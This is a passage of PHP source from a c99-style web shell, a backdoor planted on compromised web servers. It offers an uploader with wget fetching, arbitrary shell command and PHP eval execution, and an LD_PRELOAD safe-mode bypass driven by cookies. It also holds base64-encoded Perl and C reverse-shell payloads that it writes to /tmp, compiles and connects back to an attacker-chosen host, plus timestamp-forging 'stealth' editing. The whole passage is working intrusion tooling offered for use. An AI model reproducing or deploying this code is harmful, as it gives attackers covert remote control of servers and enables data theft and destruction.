echo'<br><form action="'.$self.'" method="POST" enctype="multipart/form-data">
DIR: <input type="text" name="uploaddir" size="50" value="'.$d.'"><br><br>
FILE: <input class="input" name="uploadfile" value="" type="file" size="30"/> <input type="text" name="obzfname" size="35" value=""><br><br>
WGET: <input type="text" name="wgetfile" size="50" value=""> <input type="text" name="fnamewget" size="30" value=""><br><br>
<input class="bt" name="doupfile" value="Upload" type="submit" />
<input name="d" value="'.$d.'" type="hidden" />
<input name="act" value="upload2" type="hidden"/></form><br>';
}
if ($act == "delete")
{
$delerr = "";
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$act = "ls";
}
if (!$usefsbuff)
{
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
}
else
{
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("\r\n","\n",$ret);
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
c99_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
}
if ($act == "cmdsafem")
{
if ($scmd==''){$scmd='ls -al';}
if ($res=='ok'){
$file = fopen($_COOKIE['fsafem3'], 'w+');
fputs($file, $scmd);
fclose($file);
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('file', $_COOKIE['fsafem'],'w'),
2 => array('file', $_COOKIE['fsafem1'], 'a')
);
$cwd = '.';
$env = array('LD_PRELOAD' => $_COOKIE['fsafem2']);
$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);
echo"<b><font color=green>Complite</font> ".rand(109000,999999)." =)</b></a><br/><br/>"; /*$scmd*/}
echo "<b>Execution command:</b>";
echo "<form method=POST>
<input type=hidden name=act value=cmdsafem>
<textarea name=scmd cols=130 rows=13>".$scmd."</textarea>
<input type=hidden name=\"d\" value=\"".$d."\">
<input type=hidden name=\"res\" value=\"ok\">
<br><br><input type=submit name=submit value=\"Execute\"> <span style=\"cursor: pointer;\" onclick=\"return openEx('".substr(strrchr($_COOKIE['fsafem'], "/"), 1 )."');\"><font color=green><b>Results =)</b></font></span></form>";
}
if ($act == "cmd")
{
if (trim($cmd) == "tasklist") {$act = "processes";}
else
{
@chdir($chdir);
if (!empty($submit))
{
echo "<b>Result of execution this command</b>:<br>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"130\" rows=\"13\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=130 rows=13>".htmlspecialchars($cmd)."</textarea>
<input type=hidden name=\"d\" value=\"".$dispd."\">
<input type=hidden name=\"cmdmod\" value=\"ok\">
<br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
else
{
$objects = array();
$vd = "f";
if ($vd == "f")
{
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Modify</b>";
if (!$win)
{$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++)
{
if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99nulledoff();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>"; }
else
{
$type = "DIR";
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.submit();\">".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = " <a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)){$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='d';document.todo.d.value='".$uv."';document.todo.submit();\">I</a> ".$checkbox;}
else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='rename';document.todo.d.value='".$ud."';document.todo.submit();\">R</a> <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='info';document.todo.d.value='".$ud."';document.todo.submit();\">I</a> <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a> <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
//Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
foreach($table as $row)
{
echo "<tr>\r\n";
foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
echo "</tr>\r\n";
}
echo "</table><hr size=\"1\" noshade><p align=\"right\">
<script>
function ls_setcheckboxall(status)
{
var id = 0;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = status;
id++;
}
}
function ls_reverse_all()
{
var id = 0;
var num = ".(count($table)-2).";
while (id <= num)
{
document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
id++;
}
}
</script>
<input type=\"button\" onclick=\"ls_setcheckboxall(1);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(0);\" value=\"Unselect all\"><b>";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
{
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
}
echo "<select name=act><option value=\"".$act."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff)
{
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></p>";
echo "</form>";
}
}
if ($act == "tools")
{
function unsafe(){@unlink($_COOKIE['fsafem']); @unlink($_COOKIE['fsafem1']); @unlink($_COOKIE['fsafem2']);@unlink($_COOKIE['fsafem3']);}
if($fucksafemod=='ok') {
@unsafe();
$tmp_files[1] = tempnam($d, "output-");
$tmp_files[2] = tempnam($d, "errors-");
$tmp_files[3] = tempnam($d, "lib-so-");
$tmp_files[4] = tempnam($d, "cmd-");
chmod($d.$tmp_files[1], 0777);
chmod($d.$tmp_files[2], 0777);
chmod($d.$tmp_files[3], 0777);
chmod($d.$tmp_files[4], 0777);
echo "<font color=red><b>";
foreach ($tmp_files as $str) {
gocookie('fsafem'.$cx++,$str);
echo $str."<br/>";
}
echo "</b></font>".$closetable;
$act = "ls";
}elseif ($fucksafemod=='dell') {
@unsafe();
gocookie('fsafem',''); gocookie('fsafem1',''); gocookie('fsafem2',''); gocookie('fsafem3','');
echo "<center><font color=red><b>FILES DELETED!</b></font></center>".$closetable; $act = "ls";
}elseif ($fucksafemod=='dellso') {
@unlink('a.so');@unlink('b.so');@unlink('phpinfo.php');@unlink('.comm');@unlink('.comm1');
echo "<center><font color=red><b>FILES DELETED ;)</b></font></center>".$closetable; $act = "ls";
}elseif ($fucksafemod=="oksafe"){
if ($hfsafem!=$_COOKIE['fsafem']){@unlink($_COOKIE['fsafem']);gocookie('fsafem',$hfsafem);}
if ($hfsafem1!=$_COOKIE['fsafem1']){@unlink($_COOKIE['fsafem1']);gocookie('fsafem1',$hfsafem1);}
if ($hfsafem2!=$_COOKIE['fsafem2']){@unlink($_COOKIE['fsafem2']);gocookie('fsafem2',$hfsafem2);}
if ($hfsafem3!=$_COOKIE['fsafem3']){@unlink($_COOKIE['fsafem3']);gocookie('fsafem3',$hfsafem3);}
echo "<center><font color=red><b>SAFED ;)</b></font></center>".$closetable; $act = "ls";
}
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
if($cmdmod=='ok'){
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
function which($pr) {
$path = myshellexec("which $pr");
return ($path ? $path : $pr);
}
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = myshellexec(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = myshellexec('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = myshellexec("/tmp/angel_bc $yourip $yourport &");
}
echo "<font color=green><center><b>Now script try connect to $yourip port $yourport ($use)...</b></center></font>".$closetable;
}
}
?>
<br><center><form method="POST"><b>DELET My files:</b> <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="dellso"><input type=submit name=fsafe value="Delete Files"></form></center>
<b>Back connection:</b><br><form method="POST"><input type=hidden name=act value=tools><input type=hidden name="cmdmod" value="ok"><input type=hidden name=start value=Start><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="yourip" value="<?php echo htmlspecialchars($yourip); ?>"> Port: <input type=text name="yourport" value="<?php echo htmlspecialchars($yourport); ?>"> <select name="use" >
<option value="perl" selected>perl</option><option value="c" >c</option></select> <input type=submit name=bcsubmit value="Connect"></form>
<form method="POST">Anti Safe-mode file: <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="ok"><input type=submit name=fsafe value="Creat Files"></form>
<form method="POST">DELETE Anti Safe-mode file: <input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>"><input type=hidden name=fucksafemod value="dell"><input type=submit name=fsafe value="Delete Files"></form>
<? if ($_COOKIE['fsafem'] and $fucksafemod!='dell'){ ?>
<form method="POST">
<input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">
<input type=hidden name=fucksafemod value="oksafe">
<input type=text name="hfsafem" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem']); ?>"><br/>
<input type=text name="hfsafem1" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem1']); ?>"><br/>
<input type=text name="hfsafem2" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem2']); ?>"><br/>
<input type=text name="hfsafem3" size="80" value="<?php echo htmlspecialchars($_COOKIE['fsafem3']); ?>"><br/><br/>
<input type=submit name=fsafe value="Save anti files"></form>
<? } ?>
<?php
}
if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Result of execution this PHP-code</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp)
{
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else
{
if ($eval_txt)
{
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"125\" rows=\"18\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
}
else
{
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("DIZ","info"),
array("HTML","html"),
array("TXT","txt"),
array("Code","code"),
array("EXE","exe"),
array("SDB","sdb"),
array("INI","ini"),
array("DOWNLOAD","download"),
array("RTF","notepad"),
array("EDIT","edit")
);
echo "<b>Viewing file: ".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
foreach($arr as $t)
{
if ($t[1] == $rft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><font color=green>".$t[0]."</font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b><u>".$t[0]."</u></b></a>";}
else {echo " <a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='".$t[1]."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><b>".$t[0]."</b></a>";}
echo " |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info")
{
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win)
{
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.f.value='".urlencode($f)."';document.todo.d.value='".urlencode($d)."';document.todo.submit();\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {c99nulledoff();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code")
{
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {c99nulledoff();}
echo "</div>";
}
elseif ($ft == "download")
{
@ob_clean();
header('Content-Type: application/octeat-stream');
header('Content-Disposition: attachment; filename="'.$f.'"');
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "edit")
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
